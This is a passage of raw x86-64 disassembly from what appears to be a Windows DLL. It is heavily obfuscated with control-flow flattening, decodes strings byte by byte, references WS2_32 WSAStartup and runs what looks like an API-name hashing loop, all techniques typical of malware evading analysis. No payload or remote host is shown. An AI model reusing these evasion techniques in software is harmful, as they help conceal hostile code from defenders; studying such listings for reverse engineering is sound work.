jne 0x1800aa0b0
mov byte [rbp + 0xc0], 3
mov ecx, 0x62e867da
jmp 0x1800aa0b0
movsx ecx, byte [rbp + 0xc0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x3d177632
jmp 0x1800aa080
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x98a63856
nop word cs:[rax + rax]
cmp edx, 0xcf499829
je 0x1800aa342
cmp edx, 0x98a63856
jne 0x1800aa100
movsx edx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], edx
mov edx, 0xcf499829
jmp 0x1800aa100
mov edx, dword [rbp + 0xe0]
mov byte [rax + 2], dl
mov dword [rbp + 0xf8], 0x65
mov edx, 0xc0743482
cmp edx, 0x6ff6c861
je 0x1800aa382
cmp edx, 0xc0743482
jne 0x1800aa140
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800aa140
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 1], cl
mov ecx, 0xea774be3
nop word cs:[rax + rax]
cmp ecx, 0x14fe7f9d
je 0x1800aa3ce
cmp ecx, 0xea774be3
jne 0x1800aa180
mov dword [rbp + 0xc0], WSAStartup
mov ecx, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x22546c21
je 0x1800aa1ce
cmp ecx, 0xbc5da1fa
jne 0x1800aa1b0
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800aa1b0
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800aa180
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 5], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop
cmp ebx, 0x4aaab3ae
je 0x1800aa452
cmp ebx, 0x5c484166
jne 0x1800aa200
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800aa247
cmp ebx, 0x7d1bb60
jne 0x1800aa220
mov rbx, qword [rbp + 0xe0]
add bl, 5
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800aa220
mov bl, byte [rbp + 0xf8]
xor bl, 0x48
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800aa200
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 1], cl
mov ecx, 0xfef30b2c
nop dword [rax + rax]
cmp ecx, 0xf3bca8ed
je 0x1800aa4cd
cmp ecx, 0xfef30b2c
jne 0x1800aa270
mov ecx, 0x15501fb5
nop dword [rax]
cmp ecx, 0x22e30b53
je 0x1800aa2ae
cmp ecx, 0x15501fb5
jne 0x1800aa290
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800aa290
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x64
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800aa270
mov ecx, dword [rbp + 0xd0]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 1], cl
mov ecx, 0x22e7c99f
nop dword [rax]
cmp ecx, 0x3d177632
je 0x1800aa535
cmp ecx, 0x22e7c99f
jne 0x1800aa2e0
mov dword [rbp + 0xd0], 0x46
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800aa32e
cmp ecx, 0xae59caab
jne 0x1800aa310
mov byte [rbp + 0xc0], 3
mov ecx, 0x62e867da
jmp 0x1800aa310
movsx ecx, byte [rbp + 0xc0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x3d177632
jmp 0x1800aa2e0
mov edx, dword [rbp + 0xf8]
xor edx, dword [rbp + 0xe0]
mov byte [rcx + 3], dl
mov dword [rbp + 0xf8], reloc.WS2_32.dll_WSAStartup
mov edx, 0x1149c90f
cmp edx, 0xe9ff49d1
je 0x1800aa5b2
cmp edx, 0x1149c90f
jne 0x1800aa360
mov qword [rbp + 0xe0], rax
mov edx, 0xe9ff49d1
jmp 0x1800aa360
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x1f803b35
nop word cs:[rax + rax]
cmp edx, 0xb953ffa3
je 0x1800aa5f8
cmp edx, 0x1f803b35
jne 0x1800aa3a0
movsx edx, byte [rbp + 0xd0]
xor edx, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800aa3a0
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 2], cl
mov ecx, 0xea774be3
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x14fe7f9d
je 0x1800aa632
cmp ecx, 0xea774be3
jne 0x1800aa3f0
mov dword [rbp + 0xc0], 0x64
mov ecx, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x22546c21
je 0x1800aa43e
cmp ecx, 0xbc5da1fa
jne 0x1800aa420
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800aa420
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800aa3f0
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 6], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop
cmp ebx, 0x4aaab3ae
je 0x1800aa6b2
cmp ebx, 0x5c484166
jne 0x1800aa470
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800aa4b7
cmp ebx, 0x7d1bb60
jne 0x1800aa490
mov rbx, qword [rbp + 0xe0]
add bl, 6
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800aa490
mov bl, byte [rbp + 0xf8]
xor bl, 0x61
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800aa470
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 2], cl
mov ecx, 0xfef30b2c
nop dword [rax + rax]
cmp ecx, 0xf3bca8ed
je 0x1800aa72d
cmp ecx, 0xfef30b2c
jne 0x1800aa4e0
mov ecx, 0x15501fb5
nop dword [rax]
cmp ecx, 0x22e30b53
je 0x1800aa51e
cmp ecx, 0x15501fb5
jne 0x1800aa500
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800aa500
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x6c
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800aa4e0
mov ecx, dword [rbp + 0xd0]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 2], cl
mov ecx, 0x22e7c99f
nop dword [rax]
cmp ecx, 0x3d177632
je 0x1800aa795
cmp ecx, 0x22e7c99f
jne 0x1800aa550
mov dword [rbp + 0xd0], 0x69
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800aa59e
cmp ecx, 0xae59caab
jne 0x1800aa580
mov byte [rbp + 0xc0], 3
mov ecx, 0x62e867da
jmp 0x1800aa580
movsx ecx, byte [rbp + 0xc0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x3d177632
jmp 0x1800aa550
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x98a63856
nop word cs:[rax + rax]
cmp edx, 0xcf499829
je 0x1800aa812
cmp edx, 0x98a63856
jne 0x1800aa5d0
movsx edx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], edx
mov edx, 0xcf499829
jmp 0x1800aa5d0
mov edx, dword [rbp + 0xe0]
mov byte [rax + 3], dl
mov dword [rbp + 0xf8], 0x61
mov edx, 0xc0743482
cmp edx, 0x6ff6c861
je 0x1800aa862
cmp edx, 0xc0743482
jne 0x1800aa610
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800aa610
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 3], cl
mov ecx, 0xea774be3
nop word cs:[rax + rax]
cmp ecx, 0x14fe7f9d
je 0x1800aa8ae
cmp ecx, 0xea774be3
jne 0x1800aa650
mov dword [rbp + 0xc0], WSAStartup
mov ecx, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x22546c21
je 0x1800aa69e
cmp ecx, 0xbc5da1fa
jne 0x1800aa680
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800aa680
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800aa650
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 7], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop
cmp ebx, 0x4aaab3ae
je 0x1800aa932
cmp ebx, 0x5c484166
jne 0x1800aa6d0
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800aa717
cmp ebx, 0x7d1bb60
jne 0x1800aa6f0
mov rbx, qword [rbp + 0xe0]
add bl, 7
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800aa6f0
mov bl, byte [rbp + 0xf8]
xor bl, 0x6e
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800aa6d0
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 3], cl
mov ecx, 0xfef30b2c
nop dword [rax + rax]
cmp ecx, 0xf3bca8ed
je 0x1800aa9ad
cmp ecx, 0xfef30b2c
jne 0x1800aa740
mov ecx, 0x15501fb5
nop dword [rax]
cmp ecx, 0x22e30b53
je 0x1800aa77e
cmp ecx, 0x15501fb5
jne 0x1800aa760
mov byte [rbp + 0xc0], 7
mov ecx, 0x22e30b53
jmp 0x1800aa760
movsx ecx, byte [rbp + 0xc0]
add ecx, 0x65
mov dword [rbp + 0xd0], ecx
mov ecx, 0xf3bca8ed
jmp 0x1800aa740
mov ecx, dword [rbp + 0xd0]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 3], cl
mov ecx, 0x22e7c99f
nop dword [rax]
cmp ecx, 0x3d177632
je 0x1800aaee3
cmp ecx, 0x22e7c99f
jne 0x1800aa7b0
mov dword [rbp + 0xd0], WSAStartup
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800aa7fe
cmp ecx, 0xae59caab
jne 0x1800aa7e0
mov byte [rbp + 0xc0], 3
mov ecx, 0x62e867da
jmp 0x1800aa7e0
movsx ecx, byte [rbp + 0xc0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x3d177632
jmp 0x1800aa7b0
mov edx, dword [rbp + 0xf8]
xor edx, dword [rbp + 0xe0]
mov byte [rcx + 4], dl
add rcx, 5
mov qword [rbp + 0xc0], rcx
mov dword [rbp + 0xf8], 0x65
mov ecx, 0x1149c90f
nop dword [rax + rax]
cmp ecx, 0xe9ff49d1
je 0x1800aaf62
cmp ecx, 0x1149c90f
jne 0x1800aa840
mov qword [rbp + 0xe0], rax
mov ecx, 0xe9ff49d1
jmp 0x1800aa840
mov rdx, qword [rbp + 0xe0]
mov dl, byte [rdx]
mov byte [rbp + 0xd0], dl
mov edx, 0x1f803b35
nop word cs:[rax + rax]
cmp edx, 0xb953ffa3
je 0x1800aafa8
cmp edx, 0x1f803b35
jne 0x1800aa880
movsx edx, byte [rbp + 0xd0]
xor edx, dword [rbp + 0xf8]
mov dword [rbp + 0xe0], edx
mov edx, 0xb953ffa3
jmp 0x1800aa880
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 4], cl
mov ecx, 0xea774be3
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x14fe7f9d
je 0x1800aafe2
cmp ecx, 0xea774be3
jne 0x1800aa8d0
mov dword [rbp + 0xc0], 0x65
mov ecx, 0xbc5da1fa
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x22546c21
je 0x1800aa91e
cmp ecx, 0xbc5da1fa
jne 0x1800aa900
mov byte [rbp + 0xb0], 4
mov ecx, 0x22546c21
jmp 0x1800aa900
movsx ecx, byte [rbp + 0xb0]
mov dword [rbp + 0xd0], ecx
mov ecx, 0x14fe7f9d
jmp 0x1800aa8d0
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 8], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop
cmp ebx, 0x4aaab3ae
je 0x1800aafff
cmp ebx, 0x5c484166
jne 0x1800aa950
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800aa997
cmp ebx, 0x7d1bb60
jne 0x1800aa970
mov rbx, qword [rbp + 0xe0]
add bl, 8
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800aa970
mov bl, byte [rbp + 0xf8]
xor bl, 0x64
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800aa950
mov ecx, dword [rbp + 0xd0]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov r8, qword [rbp + 0x58]
mov edx, 0x3ffe5321
jmp 0x1800aa9e0
mov edx, 0x6c10648e
mov rdi, qword [rbp + 0xf8]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x43c5ff7
jle 0x1800aaa20
cmp edx, 0x6c10648d
jg 0x1800aaa50
cmp edx, 0x3ffe5321
je 0x1800aaaa9
cmp edx, 0x5d9ac4bb
jne 0x1800aab6c
mov edx, 0x6c10648e
xor edi, edi
jmp 0x1800aa9e0
cmp edx, 0xa14cd86b
jg 0x1800aaa80
cmp edx, 0x897e9326
je 0x1800aaab3
cmp edx, 0x95b231a3
jne 0x1800aa9e0
mov qword [rbp + 0xd0], r8
mov edx, 0x897e9326
jmp 0x1800aa9e0
cmp edx, 0x6c10648e
je 0x1800aab23
cmp edx, 0x721f9a31
jne 0x1800aa9e0
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xc0], rax
mov edx, 0x43c5ff8
jmp 0x1800aa9e0
cmp edx, 0xa14cd86c
je 0x1800aa9c5
cmp edx, 0xecf4a93e
jne 0x1800aa9e0
mov qword [rbp + 0xb0], r8
mov edx, 0x721f9a31
jmp 0x1800aa9e0
mov edx, 0x5d9ac4bb
jmp 0x1800aa9e0
mov rdx, qword [rbp + 0xd0]
mov rbx, qword [rbp + 0xe0]
mov cl, byte [rdx + rbx]
mov esi, 0x462e53ec
nop dword [rax]
cmp esi, 0xd2311136
je 0x1800aab47
cmp esi, 0x462e53ec
jne 0x1800aaad0
mov esi, 0x15501fb5
nop word cs:[rax + rax]
nop
cmp esi, 0x22e30b53
je 0x1800aab0e
cmp esi, 0x15501fb5
jne 0x1800aaaf0
mov byte [rbp + 0xdc], 7
mov esi, 0x22e30b53
jmp 0x1800aaaf0
mov eax, ecx
sub al, byte [rbp + 0xdc]
mov byte [rbp + 0xbc], al
mov esi, 0xd2311136
jmp 0x1800aaad0
mov qword [rbp + 0xe0], rdi
mov rax, qword [rbp + 0xe0]
cmp rax, 0xb
mov edx, 0xecf4a93e
mov eax, 0x95b231a3
cmovb edx, eax
jmp 0x1800aa9e0
mov al, byte [rbp + 0xbc]
mov byte [rdx + rbx], al
mov rax, qword [rbp + 0xe0]
add rax, 1
mov qword [rbp + 0xf8], rax
mov edx, 0xa14cd86c
jmp 0x1800aa9e0
cmp edx, 0x43c5ff8
jne 0x1800aa9e0
mov r8, qword [rbp + 0xc0]
mov esi, 0x5a095eaf
jmp 0x1800aabb0
movsxd rdi, ecx
xor rdi, qword [rbp + 0xe0]
imul rdi, r9
mov ebx, dword [rbp + 0xd0]
add ebx, 1
mov esi, 0x3f5c8003
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0x225a7bc4
jle 0x1800aac00
cmp esi, 0x47bbb916
jle 0x1800aac60
cmp esi, 0x5a3f4fc7
jg 0x1800aad09
cmp esi, 0x47bbb917
je 0x1800aadd3
cmp esi, 0x4e13d4a4
je 0x1800aade2
cmp esi, 0x5a095eaf
jne 0x1800aabb0
mov esi, 0xcc3ba284
jmp 0x1800aabb0
cmp esi, 0xe575f6ff
jg 0x1800aacc0
cmp esi, 0xb1175138
jle 0x1800aad47
cmp esi, 0xb1175139
je 0x1800aadec
cmp esi, 0xcc3ba284
je 0x1800aae01
cmp esi, 0xd557fee3
jne 0x1800aabb0
mov eax, dword [rbp + 0xdc]
or eax, 0x20
mov dword [rbp + 0xb0], eax
mov esi, 0xf3a692f1
jmp 0x1800aabb0
cmp esi, 0x297bd53c
jle 0x1800aad6f
cmp esi, 0x297bd53d
je 0x1800aab86
cmp esi, 0x3b762931
je 0x1800aae0d
cmp esi, 0x3f5c8003
jne 0x1800aabb0
mov dword [rbp + 0xd0], ebx
mov qword [rbp + 0xe0], rdi
mov esi, dword [rbp + 0xc0]
mov eax, dword [rbp + 0xd0]
cmp eax, esi
mov esi, 0x9c018438
cmovb esi, r14d
jmp 0x1800aabb0
cmp esi, 0xf3632eba
jle 0x1800aada1
cmp esi, 0xf3632ebb
je 0x1800aae17
cmp esi, 0xf3a692f1
je 0x1800aae21
cmp esi, 0x15c3f435
jne 0x1800aabb0
mov esi, dword [rbp + 0xc0]
add esi, 1
mov dword [rbp + 0xbc], esi
mov esi, 0x4e13d4a4
jmp 0x1800aabb0
cmp esi, 0x5a3f4fc8
je 0x1800aae31
cmp esi, 0x663c52c8
je 0x1800aae46
cmp esi, 0x7a49349b
jne 0x1800aabb0
mov eax, dword [rbp + 0xd0]
add rax, r8
mov qword [rbp + 0xf8], rax
mov esi, 0x2758122a
jmp 0x1800aabb0
cmp esi, 0x820447f7
je 0x1800aae74
cmp esi, 0x928c3d39
jne 0x1800aaec2
mov esi, 0x297bd53d
mov ecx, dword [rbp + 0xdc]
jmp 0x1800aabb0
cmp esi, 0x225a7bc5
je 0x1800aae8e
cmp esi, 0x2758122a
jne 0x1800aabb0
mov rax, qword [rbp + 0xf8]
movzx eax, byte [rax]
mov byte [rbp + 0xcd], al
mov esi, 0x225a7bc5
jmp 0x1800aabb0
cmp esi, 0xe575f700
je 0x1800aaeb2
cmp esi, 0xf21ebfc4
jne 0x1800aabb0
mov esi, dword [rbp + 0xac]
cmp esi, 0x7f
setl byte [rbp + 0xce]
mov esi, 0xb1175139
jmp 0x1800aabb0
mov esi, 0x3f5c8003
xor ebx, ebx
mov rdi, r12
jmp 0x1800aabb0
mov esi, 0xe575f700
jmp 0x1800aabb0
cmp byte [rbp + 0xce], 0
mov esi, 0xf3632ebb
cmovne esi, r10d
jmp 0x1800aabb0
mov esi, 0x663c52c8
xor edx, edx
jmp 0x1800aabb0
mov esi, 0x47bbb917
jmp 0x1800aabb0
mov esi, 0x3b762931
jmp 0x1800aabb0
mov esi, 0x297bd53d
mov ecx, dword [rbp + 0xb0]
jmp 0x1800aabb0
cmp byte [rbp + 0xcf], 0
mov esi, 0x928c3d39
cmovne esi, r15d
jmp 0x1800aabb0
mov dword [rbp + 0xc0], edx
mov esi, dword [rbp + 0xc0]
movsx esi, byte [r8 + rsi]
mov dword [rbp + 0xac], esi
mov esi, dword [rbp + 0xac]
cmp esi, 0x1f
mov esi, 0xf3632ebb
cmovg esi, r13d
jmp 0x1800aabb0
mov eax, dword [rbp + 0xdc]
cmp eax, 0x5b
setl byte [rbp + 0xcf]
mov esi, 0x5a3f4fc8
jmp 0x1800aabb0
movsx eax, byte [rbp + 0xcd]
mov dword [rbp + 0xdc], eax
mov eax, dword [rbp + 0xdc]
cmp eax, 0x40
mov esi, 0x928c3d39
cmovg esi, r11d
jmp 0x1800aabb0
mov esi, 0x663c52c8
mov edx, dword [rbp + 0xbc]
jmp 0x1800aabb0
cmp esi, 0x9c018438
jne 0x1800aabb0
mov rax, qword [rbp + 0xe0]
mov qword [rbp - 0x70], rax
mov eax, 0xb0115d1e
jmp 0x1800a7740
mov ecx, dword [rbp + 0xd0]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 4], cl
mov ecx, 0x22e7c99f
nop word [rax + rax]
cmp ecx, 0x3d177632
je 0x1800ab07d
cmp ecx, 0x22e7c99f
jne 0x1800aaf00
mov dword [rbp + 0xd0], 0x65
mov ecx, 0xae59caab
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x62e867da
je 0x1800aaf4e
cmp ecx, 0xae59caab
jne 0x1800aaf30
mov byte [rbp + 0xc0], 3
mov ecx, 0x62e867da
jmp 0x1800aaf30
movsx ecx, byte [rbp + 0xc0]
mov dword [rbp + 0xf8], ecx
mov ecx, 0x3d177632
jmp 0x1800aaf00
mov rcx, qword [rbp + 0xe0]
mov cl, byte [rcx]
mov byte [rbp + 0xd0], cl
mov ecx, 0x98a63856
nop word cs:[rax + rax]
cmp ecx, 0xcf499829
je 0x1800ab5d3
cmp ecx, 0x98a63856
jne 0x1800aaf80
movsx ecx, byte [rbp + 0xd0]
mov dword [rbp + 0xe0], ecx
mov ecx, 0xcf499829
jmp 0x1800aaf80
mov edx, dword [rbp + 0xe0]
mov byte [rax + 4], dl
mov dword [rbp + 0xf8], 0x74
mov edx, 0xc0743482
cmp edx, 0x6ff6c861
je 0x1800ab9e8
cmp edx, 0xc0743482
jne 0x1800aafc0
mov qword [rbp + 0xe0], rcx
mov edx, 0x6ff6c861
jmp 0x1800aafc0
mov ecx, dword [rbp + 0xc0]
add ecx, dword [rbp + 0xd0]
mov byte [rax + 5], cl
mov byte [rax + 6], 0
mov eax, 0x9327a75e
jmp 0x1800a7740
mov dl, byte [rbp + 0xd0]
mov byte [rcx + 9], dl
movsx rdx, byte [rax]
mov ebx, 0x5c484166
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x4aaab3ae
je 0x1800aba2e
cmp ebx, 0x5c484166
jne 0x1800ab020
mov qword [rbp + 0xe0], rdx
mov ebx, 0x7d1bb60
cmp ebx, 0x7a4faacd
je 0x1800ab067
cmp ebx, 0x7d1bb60
jne 0x1800ab040
mov rbx, qword [rbp + 0xe0]
add bl, 9
mov byte [rbp + 0xf8], bl
mov ebx, 0x7a4faacd
jmp 0x1800ab040
mov bl, byte [rbp + 0xf8]
xor bl, 0x6c
mov byte [rbp + 0xd0], bl
mov ebx, 0x4aaab3ae
jmp 0x1800ab020
mov ecx, dword [rbp + 0xd0]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 5], cl
mov byte [rax + 6], 0
mov rax, qword [rbp + 0x60]
mov edx, 0xfd0b5c2a
jmp 0x1800ab0b0
mov edx, 0xa2bd3c49
mov rcx, qword [rbp + 0xf8]
nop word [rax + rax]
cmp edx, 0xfd0b5c29
jle 0x1800ab110
cmp edx, 0x65b54ec2
jg 0x1800ab150
cmp edx, 0xfd0b5c2a
je 0x1800ab212
cmp edx, 0x4a1536c3
jne 0x1800ab261
mov rdx, qword [rbp + 0xd0]
mov bl, byte [rbp + 0xcf]
mov byte [rdx], bl
mov rdx, qword [rbp + 0xe0]
add rdx, 1
mov qword [rbp + 0xf8], rdx
mov edx, 0xb2143351
jmp 0x1800ab0b0
cmp edx, 0xb2143350
jg 0x1800ab180
cmp edx, 0x99cb9128
je 0x1800ab21c
cmp edx, 0xa2bd3c49
jne 0x1800ab0b0
mov qword [rbp + 0xe0], rcx
mov rdx, qword [rbp + 0xe0]
cmp rdx, 9
mov edx, 0x65b54ec3
mov ebx, 0xdd65c274
cmovb edx, ebx
jmp 0x1800ab0b0
cmp edx, 0x65b54ec3
je 0x1800ab234
cmp edx, 0x672a6d91
jne 0x1800ab0b0
mov edx, 0xa2bd3c49
xor ecx, ecx
jmp 0x1800ab0b0
cmp edx, 0xb2143351
je 0x1800ab09b
cmp edx, 0xdd65c274
jne 0x1800ab0b0
mov rdx, qword [rbp + 0xe0]
add rdx, rax
mov qword [rbp + 0xd0], rdx
mov rdx, qword [rbp + 0xd0]
movsx edx, byte [rdx]
mov ebx, 0x407ce8eb
nop dword [rax + rax]
cmp ebx, 0x4dfa7c9
je 0x1800ab245
cmp ebx, 0x407ce8eb
jne 0x1800ab1c0
mov dword [rbp + 0xbc], edx
mov ebx, 0xae59caab
nop dword [rax + rax]
cmp ebx, 0x62e867da
je 0x1800ab1fe
cmp ebx, 0xae59caab
jne 0x1800ab1e0
mov byte [rbp + 0xac], 3
mov ebx, 0x62e867da
jmp 0x1800ab1e0
movsx ebx, byte [rbp + 0xac]
mov dword [rbp + 0xdc], ebx
mov ebx, 0x4dfa7c9
jmp 0x1800ab1c0
mov edx, 0x672a6d91
jmp 0x1800ab0b0
mov rdx, qword [rbp + 0xb0]
mov qword [rbp + 0xc0], rdx
mov edx, 0x25bf6440
jmp 0x1800ab0b0
mov qword [rbp + 0xb0], rax
mov edx, 0x99cb9128
jmp 0x1800ab0b0
mov edx, dword [rbp + 0xbc]
sub edx, dword [rbp + 0xdc]
mov byte [rbp + 0xcf], dl
mov edx, 0x4a1536c3
jmp 0x1800ab0b0
cmp edx, 0x25bf6440
jne 0x1800ab0b0
mov r8, qword [rbp + 0xc0]
mov esi, 0x5a095eaf
jmp 0x1800ab2a0
movsxd rdi, ecx
xor rdi, qword [rbp + 0xe0]
imul rdi, r9
mov ebx, dword [rbp + 0xd0]
add ebx, 1
mov esi, 0x3f5c8003
nop word [rax + rax]
cmp esi, 0x225a7bc4
jle 0x1800ab2f0
cmp esi, 0x47bbb916
jle 0x1800ab350
cmp esi, 0x5a3f4fc7
jg 0x1800ab3f9
cmp esi, 0x47bbb917
je 0x1800ab4c3
cmp esi, 0x4e13d4a4
je 0x1800ab4d2
cmp esi, 0x5a095eaf
jne 0x1800ab2a0
mov esi, 0xcc3ba284
jmp 0x1800ab2a0
cmp esi, 0xe575f6ff
jg 0x1800ab3b0
cmp esi, 0xb1175138
jle 0x1800ab437
cmp esi, 0xb1175139
je 0x1800ab4dc
cmp esi, 0xcc3ba284
je 0x1800ab4f1
cmp esi, 0xd557fee3
jne 0x1800ab2a0
mov eax, dword [rbp + 0xdc]
or eax, 0x20
mov dword [rbp + 0xb0], eax
mov esi, 0xf3a692f1
jmp 0x1800ab2a0
cmp esi, 0x297bd53c
jle 0x1800ab45f
cmp esi, 0x297bd53d
je 0x1800ab27b
cmp esi, 0x3b762931
je 0x1800ab4fd
cmp esi, 0x3f5c8003
jne 0x1800ab2a0
mov dword [rbp + 0xd0], ebx
mov qword [rbp + 0xe0], rdi
mov esi, dword [rbp + 0xc0]
mov eax, dword [rbp + 0xd0]
cmp eax, esi
mov esi, 0x9c018438
cmovb esi, r14d
jmp 0x1800ab2a0
cmp esi, 0xf3632eba
jle 0x1800ab491
cmp esi, 0xf3632ebb
je 0x1800ab507
cmp esi, 0xf3a692f1
je 0x1800ab511
cmp esi, 0x15c3f435
jne 0x1800ab2a0
mov esi, dword [rbp + 0xc0]
add esi, 1
mov dword [rbp + 0xbc], esi
mov esi, 0x4e13d4a4
jmp 0x1800ab2a0
cmp esi, 0x5a3f4fc8
je 0x1800ab521
cmp esi, 0x663c52c8
je 0x1800ab536
cmp esi, 0x7a49349b
jne 0x1800ab2a0
mov eax, dword [rbp + 0xd0]
add rax, r8
mov qword [rbp + 0xf8], rax
mov esi, 0x2758122a
jmp 0x1800ab2a0
cmp esi, 0x820447f7
je 0x1800ab564
cmp esi, 0x928c3d39
jne 0x1800ab5b2
mov esi, 0x297bd53d
mov ecx, dword [rbp + 0xdc]
jmp 0x1800ab2a0
cmp esi, 0x225a7bc5
je 0x1800ab57e
cmp esi, 0x2758122a
jne 0x1800ab2a0
mov rax, qword [rbp + 0xf8]
movzx eax, byte [rax]
mov byte [rbp + 0xcd], al
mov esi, 0x225a7bc5
jmp 0x1800ab2a0
cmp esi, 0xe575f700
je 0x1800ab5a2
cmp esi, 0xf21ebfc4
jne 0x1800ab2a0
mov esi, dword [rbp + 0xac]
cmp esi, 0x7f
setl byte [rbp + 0xce]
mov esi, 0xb1175139
jmp 0x1800ab2a0
mov esi, 0x3f5c8003
xor ebx, ebx
mov rdi, r12
jmp 0x1800ab2a0
mov esi, 0xe575f700
jmp 0x1800ab2a0
cmp byte [rbp + 0xce], 0
mov esi, 0xf3632ebb
cmovne esi, r10d
jmp 0x1800ab2a0
mov esi, 0x663c52c8
xor edx, edx
jmp 0x1800ab2a0
mov esi, 0x47bbb917
jmp 0x1800ab2a0
mov esi, 0x3b762931
jmp 0x1800ab2a0
mov esi, 0x297bd53d
mov ecx, dword [rbp + 0xb0]
jmp 0x1800ab2a0
cmp byte [rbp + 0xcf], 0
mov esi, 0x928c3d39
cmovne esi, r15d
jmp 0x1800ab2a0
mov dword [rbp + 0xc0], edx
mov esi, dword [rbp + 0xc0]
movsx esi, byte [r8 + rsi]
mov dword [rbp + 0xac], esi
mov esi, dword [rbp + 0xac]
cmp esi, 0x1f
mov esi, 0xf3632ebb
cmovg esi, r13d
jmp 0x1800ab2a0
mov eax, dword [rbp + 0xdc]
cmp eax, 0x5b
setl byte [rbp + 0xcf]
mov esi, 0x5a3f4fc8
jmp 0x1800ab2a0
movsx eax, byte [rbp + 0xcd]
mov dword [rbp + 0xdc], eax
mov eax, dword [rbp + 0xdc]
cmp eax, 0x40
mov esi, 0x928c3d39
cmovg esi, r11d
jmp 0x1800ab2a0
mov esi, 0x663c52c8
mov edx, dword [rbp + 0xbc]
jmp 0x1800ab2a0
cmp esi, 0x9c018438
jne 0x1800ab2a0
